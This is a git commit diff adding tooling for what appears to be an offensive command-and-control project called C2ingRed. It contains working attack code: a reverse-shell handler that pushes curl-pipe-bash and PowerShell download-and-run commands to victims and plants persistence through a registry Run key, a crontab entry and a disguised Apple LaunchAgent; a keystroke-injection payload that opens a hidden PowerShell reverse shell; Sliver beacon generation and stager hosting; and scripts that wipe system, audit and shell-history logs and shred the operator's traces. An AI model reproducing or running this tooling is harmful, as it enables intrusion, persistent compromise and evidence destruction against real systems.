making progress
This commit is contained in:
@@ -0,0 +1,98 @@
|
||||
#!/bin/bash
|
||||
# Zero-logs maintenance script
|
||||
|
||||
# Set aggressive umask to minimize permission footprint
|
||||
umask 077
|
||||
|
||||
# Configuration
|
||||
LOG_DIRS=(
|
||||
"/var/log"
|
||||
"/var/spool/mail"
|
||||
"/var/spool/postfix"
|
||||
"/var/lib/dhcp"
|
||||
"/root/.bash_history"
|
||||
"/home/*/.bash_history"
|
||||
"/var/lib/nginx"
|
||||
)
|
||||
|
||||
SYSTEM_LOGS=(
|
||||
"auth.log"
|
||||
"syslog"
|
||||
"messages"
|
||||
"kern.log"
|
||||
"daemon.log"
|
||||
"user.log"
|
||||
"btmp"
|
||||
"wtmp"
|
||||
"lastlog"
|
||||
)
|
||||
|
||||
# Disable syslog temporarily
|
||||
systemctl stop rsyslog 2>/dev/null
|
||||
systemctl stop syslog-ng 2>/dev/null
|
||||
systemctl stop systemd-journald 2>/dev/null
|
||||
|
||||
# Clear all standard logs
|
||||
echo "[+] Clearing standard system logs..."
|
||||
for log in "${SYSTEM_LOGS[@]}"; do
|
||||
find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
|
||||
find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear all journal logs
|
||||
echo "[+] Clearing systemd journal..."
|
||||
journalctl --vacuum-time=1s 2>/dev/null
|
||||
rm -rf /var/log/journal/* 2>/dev/null
|
||||
|
||||
# Clear audit logs
|
||||
echo "[+] Clearing audit logs..."
|
||||
auditctl -e 0 2>/dev/null
|
||||
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
|
||||
|
||||
# Clear bash history for all users
|
||||
echo "[+] Clearing bash history..."
|
||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
||||
done
|
||||
history -c
|
||||
cat /dev/null > ~/.bash_history 2>/dev/null
|
||||
unset HISTFILE
|
||||
|
||||
# Clear NGINX logs
|
||||
echo "[+] Clearing NGINX logs..."
|
||||
for nginx_log in /var/log/nginx/*; do
|
||||
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear SSH logs
|
||||
echo "[+] Clearing SSH logs..."
|
||||
cat /dev/null > /var/log/auth.log 2>/dev/null
|
||||
cat /dev/null > /var/log/secure 2>/dev/null
|
||||
|
||||
# Clear mail logs
|
||||
echo "[+] Clearing mail logs..."
|
||||
cat /dev/null > /var/log/mail.log 2>/dev/null
|
||||
cat /dev/null > /var/log/maillog 2>/dev/null
|
||||
|
||||
# Clear sliver logs
|
||||
echo "[+] Clearing Sliver C2 logs..."
|
||||
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
||||
find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
||||
|
||||
# Clear temporary directories
|
||||
echo "[+] Clearing temporary files..."
|
||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
||||
|
||||
# Clear RAM and swap
|
||||
echo "[+] Clearing RAM cache and swap..."
|
||||
sync
|
||||
echo 3 > /proc/sys/vm/drop_caches
|
||||
swapoff -a && swapon -a 2>/dev/null
|
||||
|
||||
# Restart logging services
|
||||
systemctl start systemd-journald 2>/dev/null
|
||||
systemctl start rsyslog 2>/dev/null
|
||||
systemctl start syslog-ng 2>/dev/null
|
||||
|
||||
echo "[+] Log cleaning complete"
|
||||
exit 0
|
||||
@@ -0,0 +1,156 @@
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading reverse shells
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT=4444
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
C2_PORT=50051 # Sliver default gRPC port
|
||||
WINDOWS_BEACON="/opt/beacons/windows.exe"
|
||||
LINUX_BEACON="/opt/beacons/linux"
|
||||
MACOS_BEACON="/opt/beacons/macos"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function (minimal and encrypted)
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Deploy appropriate beacon based on OS
|
||||
deploy_beacon() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Deploying beacon for detected OS: $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Upload Windows beacon using PowerShell download cradle
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Upload Linux beacon using curl
|
||||
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
||||
;;
|
||||
macos)
|
||||
# Upload macOS beacon using curl
|
||||
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Beacon deployment command sent"
|
||||
}
|
||||
|
||||
# Establish persistence based on OS
|
||||
establish_persistence() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Attempting to establish persistence on $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Windows persistence via registry run key
|
||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Linux persistence via crontab
|
||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
|
||||
;;
|
||||
macos)
|
||||
# macOS persistence via launch agent
|
||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Persistence commands sent for $os_type"
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection to be established
|
||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||
sleep 1
|
||||
# Check if nc is still running
|
||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||
log "Netcat process died, restarting..."
|
||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||
continue 2 # Restart the outer loop
|
||||
fi
|
||||
done
|
||||
|
||||
log "Connection received, detecting OS..."
|
||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||
log "Detected OS: $DETECTED_OS"
|
||||
|
||||
# Deploy beacon
|
||||
deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Establish persistence
|
||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Keep connection alive for manual operation if needed
|
||||
log "Beacon deployed, maintaining shell connection..."
|
||||
echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||
|
||||
# Wait for connection to close
|
||||
wait $NC_PID
|
||||
log "Connection closed, cleaning up and restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
@@ -0,0 +1,52 @@
|
||||
REM Title: C2ingRed Reverse Shell
|
||||
REM Author: C2ingRed
|
||||
REM Description: Establishes a reverse shell to the C2 redirector
|
||||
REM Target: Windows 10/11
|
||||
REM Version: 1.0
|
||||
|
||||
REM Configuration: Modify these values to match your redirector setup
|
||||
REM REDIRECTOR_HOST: Your redirector domain or IP
|
||||
REM REDIRECTOR_PORT: Port where shell handler is listening
|
||||
REM SHELL_TYPE: powershell or cmd
|
||||
|
||||
REM ============= Start of configuration =============
|
||||
REM REDIRECTOR_HOST=cdn.example.com
|
||||
REM REDIRECTOR_PORT=4444
|
||||
REM SHELL_TYPE=powershell
|
||||
REM ============= End of configuration ===============
|
||||
|
||||
REM Minimize the chance of detection by hiding the window
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -WindowStyle Hidden
|
||||
ENTER
|
||||
DELAY 2000
|
||||
|
||||
REM Main reverse shell payload
|
||||
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
|
||||
ENTER
|
||||
|
||||
REM Attempt to create socket connection with retry logic
|
||||
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
|
||||
ENTER
|
||||
|
||||
REM Setup streams
|
||||
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
|
||||
ENTER
|
||||
|
||||
REM Execute either PowerShell or CMD shell based on configuration
|
||||
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
|
||||
ENTER
|
||||
|
||||
REM Setup IO redirection
|
||||
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
|
||||
ENTER
|
||||
|
||||
REM Main communication loop
|
||||
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
|
||||
ENTER
|
||||
|
||||
REM Execute and complete
|
||||
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
|
||||
ENTER
|
||||
@@ -0,0 +1,96 @@
|
||||
#!/bin/bash
|
||||
# Secure cleanup script for terminating the C2 infrastructure
|
||||
|
||||
# Configuration
|
||||
SECURE_DELETE_PASSES=7
|
||||
MEMORY_WIPE=true
|
||||
SELF_DESTRUCT=false # Set to true for complete instance termination (if API available)
|
||||
|
||||
# Set secure umask
|
||||
umask 077
|
||||
|
||||
# Function to securely delete files
|
||||
secure_delete() {
|
||||
local target=$1
|
||||
echo "[+] Securely deleting: $target"
|
||||
|
||||
if command -v srm > /dev/null; then
|
||||
srm -vzf $target 2>/dev/null
|
||||
elif command -v shred > /dev/null; then
|
||||
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
|
||||
else
|
||||
# Fallback to dd if specialized tools aren't available
|
||||
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||
rm -f $target 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
echo "[+] Beginning secure exit procedure..."
|
||||
|
||||
# Stop all operational services
|
||||
echo "[+] Stopping operational services..."
|
||||
services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
|
||||
for service in "${services[@]}"; do
|
||||
systemctl stop $service 2>/dev/null
|
||||
service $service stop 2>/dev/null
|
||||
done
|
||||
|
||||
# Kill any remaining operational processes
|
||||
echo "[+] Terminating operational processes..."
|
||||
process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
|
||||
for proc in "${process_names[@]}"; do
|
||||
pkill -9 $proc 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear all logs
|
||||
echo "[+] Clearing logs..."
|
||||
bash /opt/c2/clean-logs.sh
|
||||
|
||||
# Securely delete operational files
|
||||
echo "[+] Removing operational files..."
|
||||
operational_dirs=(
|
||||
"/opt/c2"
|
||||
"/opt/beacons"
|
||||
"/opt/payloads"
|
||||
"/root/.sliver"
|
||||
"/root/.msf4"
|
||||
"/root/.gophish"
|
||||
"/root/Tools"
|
||||
"/home/*/Tools"
|
||||
"/var/www/html"
|
||||
)
|
||||
|
||||
for dir in "${operational_dirs[@]}"; do
|
||||
find $dir -type f 2>/dev/null | while read file; do
|
||||
secure_delete "$file"
|
||||
done
|
||||
rm -rf $dir 2>/dev/null
|
||||
done
|
||||
|
||||
# Remove SSH keys
|
||||
echo "[+] Removing SSH keys and configs..."
|
||||
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
|
||||
secure_delete "$file"
|
||||
done
|
||||
|
||||
# Clean memory if requested
|
||||
if $MEMORY_WIPE; then
|
||||
echo "[+] Wiping system memory..."
|
||||
sync
|
||||
echo 3 > /proc/sys/vm/drop_caches
|
||||
swapoff -a
|
||||
swapon -a
|
||||
fi
|
||||
|
||||
# Self-destruct if configured (for cloud providers with API access)
|
||||
if $SELF_DESTRUCT; then
|
||||
echo "[+] Initiating self-destruct sequence..."
|
||||
# This would typically call the cloud provider's API to terminate the instance
|
||||
# For FlokiNET, this would need to be handled manually
|
||||
fi
|
||||
|
||||
echo "[+] Secure exit completed. Infrastructure has been sanitized."
|
||||
|
||||
# Remove this script itself
|
||||
exec shred -n $SECURE_DELETE_PASSES -uz $0
|
||||
@@ -0,0 +1,72 @@
|
||||
#!/bin/bash
|
||||
# Beacon server script to host generated implants
|
||||
|
||||
# Configuration
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
WEBSERVER_PORT=8443
|
||||
CERTIFICATE="/etc/ssl/private/beacon-server.pem"
|
||||
KEY="/etc/ssl/private/beacon-server.key"
|
||||
|
||||
# Set secure umask
|
||||
umask 077
|
||||
|
||||
# Ensure beacons directory exists
|
||||
mkdir -p $BEACONS_DIR
|
||||
|
||||
# Function to generate beacons using Sliver
|
||||
generate_beacons() {
|
||||
echo "[+] Generating beacons for all platforms..."
|
||||
|
||||
# Make sure Sliver server is running
|
||||
if ! pgrep -x "sliver-server" > /dev/null; then
|
||||
echo "[!] Sliver server is not running, starting it..."
|
||||
systemctl start sliver
|
||||
sleep 5
|
||||
fi
|
||||
|
||||
# Generate Windows beacon
|
||||
sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
|
||||
|
||||
# Generate Linux beacon
|
||||
sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
|
||||
|
||||
# Generate macOS beacon
|
||||
sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
|
||||
|
||||
# Generate stagers
|
||||
echo "#!/bin/bash
|
||||
curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
|
||||
chmod +x $BEACONS_DIR/beacon.sh
|
||||
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
|
||||
\$url = 'http://$C2_HOST:8443/windows.exe';
|
||||
\$outpath = \"\$env:TEMP\\update.exe\";
|
||||
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
|
||||
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
|
||||
|
||||
echo "[+] All beacons generated successfully"
|
||||
}
|
||||
|
||||
# Generate beacons
|
||||
generate_beacons
|
||||
|
||||
# Serve beacons using Python's HTTP server (with SSL if certificate exists)
|
||||
if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
|
||||
echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
|
||||
cd $BEACONS_DIR
|
||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
||||
SERVER_PID=$!
|
||||
else
|
||||
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
|
||||
cd $BEACONS_DIR
|
||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
||||
SERVER_PID=$!
|
||||
fi
|
||||
|
||||
echo "[+] Beacon server started with PID $SERVER_PID"
|
||||
echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
|
||||
echo "[+] Press Ctrl+C to stop the server"
|
||||
|
||||
# Keep script running and respond to Ctrl+C
|
||||
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
|
||||
while true; do sleep 1; done
|
||||
@@ -0,0 +1,214 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple Email Tracking Server
|
||||
|
||||
A minimal Flask application that serves transparent tracking pixels
|
||||
and logs email opens with metadata.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, request, send_file, render_template_string
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/opt/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
|
||||
# Create Flask app
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/opt/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
|
||||
|
||||
# Create 1x1 transparent PNG if it doesn't exist
|
||||
if not os.path.exists(PIXEL_PATH):
|
||||
from PIL import Image
|
||||
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
|
||||
img.save(PIXEL_PATH)
|
||||
|
||||
# Path to tracking data
|
||||
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
|
||||
|
||||
def load_tracking_data():
|
||||
"""Load existing tracking data from JSON file"""
|
||||
if os.path.exists(TRACKING_DATA_PATH):
|
||||
try:
|
||||
with open(TRACKING_DATA_PATH, 'r') as f:
|
||||
return json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
logging.error("Error loading tracking data, starting fresh")
|
||||
return {}
|
||||
|
||||
def save_tracking_data(data):
|
||||
"""Save tracking data to JSON file"""
|
||||
with open(TRACKING_DATA_PATH, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
@app.route('/pixel/<tracking_id>.png')
|
||||
def tracking_pixel(tracking_id):
|
||||
"""Serve a tracking pixel and log the request"""
|
||||
# Get client information
|
||||
user_agent = request.headers.get('User-Agent', 'Unknown')
|
||||
ip_address = request.remote_addr
|
||||
timestamp = datetime.now().isoformat()
|
||||
referer = request.headers.get('Referer', 'Unknown')
|
||||
|
||||
# Log the tracking event
|
||||
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
|
||||
|
||||
# Add tracking event to data
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
tracking_data[tracking_id] = []
|
||||
|
||||
tracking_data[tracking_id].append({
|
||||
'timestamp': timestamp,
|
||||
'ip_address': ip_address,
|
||||
'user_agent': user_agent,
|
||||
'referer': referer
|
||||
})
|
||||
|
||||
save_tracking_data(tracking_data)
|
||||
|
||||
# Return the 1x1 transparent pixel
|
||||
return send_file(PIXEL_PATH, mimetype='image/png')
|
||||
|
||||
@app.route('/')
|
||||
def dashboard():
|
||||
"""Display tracking statistics dashboard"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
# Prepare data for the dashboard
|
||||
stats = []
|
||||
for tracking_id, events in tracking_data.items():
|
||||
stats.append({
|
||||
'id': tracking_id,
|
||||
'views': len(events),
|
||||
'last_view': events[-1]['timestamp'] if events else 'Never',
|
||||
'unique_ips': len(set(e['ip_address'] for e in events))
|
||||
})
|
||||
|
||||
# Sort by most views
|
||||
stats.sort(key=lambda x: x['views'], reverse=True)
|
||||
|
||||
# Simple HTML dashboard template
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Email Tracking Dashboard</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Email Tracking Dashboard</h1>
|
||||
<p>To track email opens, add this HTML to your emails:</p>
|
||||
<pre><img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
|
||||
<h2>Tracking Statistics</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Tracking ID</th>
|
||||
<th>Views</th>
|
||||
<th>Unique IPs</th>
|
||||
<th>Last View</th>
|
||||
<th>Details</th>
|
||||
</tr>
|
||||
{% for stat in stats %}
|
||||
<tr>
|
||||
<td>{{ stat.id }}</td>
|
||||
<td>{{ stat.views }}</td>
|
||||
<td>{{ stat.unique_ips }}</td>
|
||||
<td>{{ stat.last_view }}</td>
|
||||
<td><a href="/details/{{ stat.id }}">View Details</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, stats=stats)
|
||||
|
||||
@app.route('/details/<tracking_id>')
|
||||
def tracking_details(tracking_id):
|
||||
"""Display detailed tracking information for a specific ID"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
return f"No data found for tracking ID: {tracking_id}", 404
|
||||
|
||||
events = tracking_data[tracking_id]
|
||||
|
||||
# Simple HTML template for details
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Tracking Details: {{ tracking_id }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1, h2 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
.back { margin-bottom: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="back"><a href="/">« Back to Dashboard</a></div>
|
||||
<h1>Tracking Details: {{ tracking_id }}</h1>
|
||||
<p>Total views: {{ events|length }}</p>
|
||||
|
||||
<h2>Events</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>IP Address</th>
|
||||
<th>User Agent</th>
|
||||
<th>Referer</th>
|
||||
</tr>
|
||||
{% for event in events %}
|
||||
<tr>
|
||||
<td>{{ event.timestamp }}</td>
|
||||
<td>{{ event.ip_address }}</td>
|
||||
<td>{{ event.user_agent }}</td>
|
||||
<td>{{ event.referer }}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, tracking_id=tracking_id, events=events)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='127.0.0.1', port=5000, debug=False)
|
||||
@@ -0,0 +1,47 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# Redirect to HTTPS if SSL is enabled
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
|
||||
|
||||
# Restrict dashboard to localhost only
|
||||
location / {
|
||||
allow 127.0.0.1;
|
||||
deny all;
|
||||
proxy_pass http://127.0.0.1:5000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
|
||||
# Allow public access only to pixel endpoints
|
||||
location ~ ^/pixel/(.+)\.png$ {
|
||||
# Public access allowed
|
||||
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
|
||||
# Cache control - don't cache tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
|
||||
expires off;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/bin/bash
|
||||
# CLI tool to view email tracking stats
|
||||
|
||||
DATA_FILE="/opt/tracker/data/tracking_data.json"
|
||||
|
||||
function show_summary() {
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Email Tracking Summary:"
|
||||
echo "======================="
|
||||
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
|
||||
}
|
||||
|
||||
function show_details() {
|
||||
ID=$1
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Details for tracking ID: $ID"
|
||||
echo "=========================="
|
||||
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
|
||||
}
|
||||
|
||||
case "$1" in
|
||||
"list")
|
||||
show_summary
|
||||
;;
|
||||
"details")
|
||||
if [ -z "$2" ]; then
|
||||
echo "Usage: $0 details TRACKING_ID"
|
||||
exit 1
|
||||
fi
|
||||
show_details "$2"
|
||||
;;
|
||||
*)
|
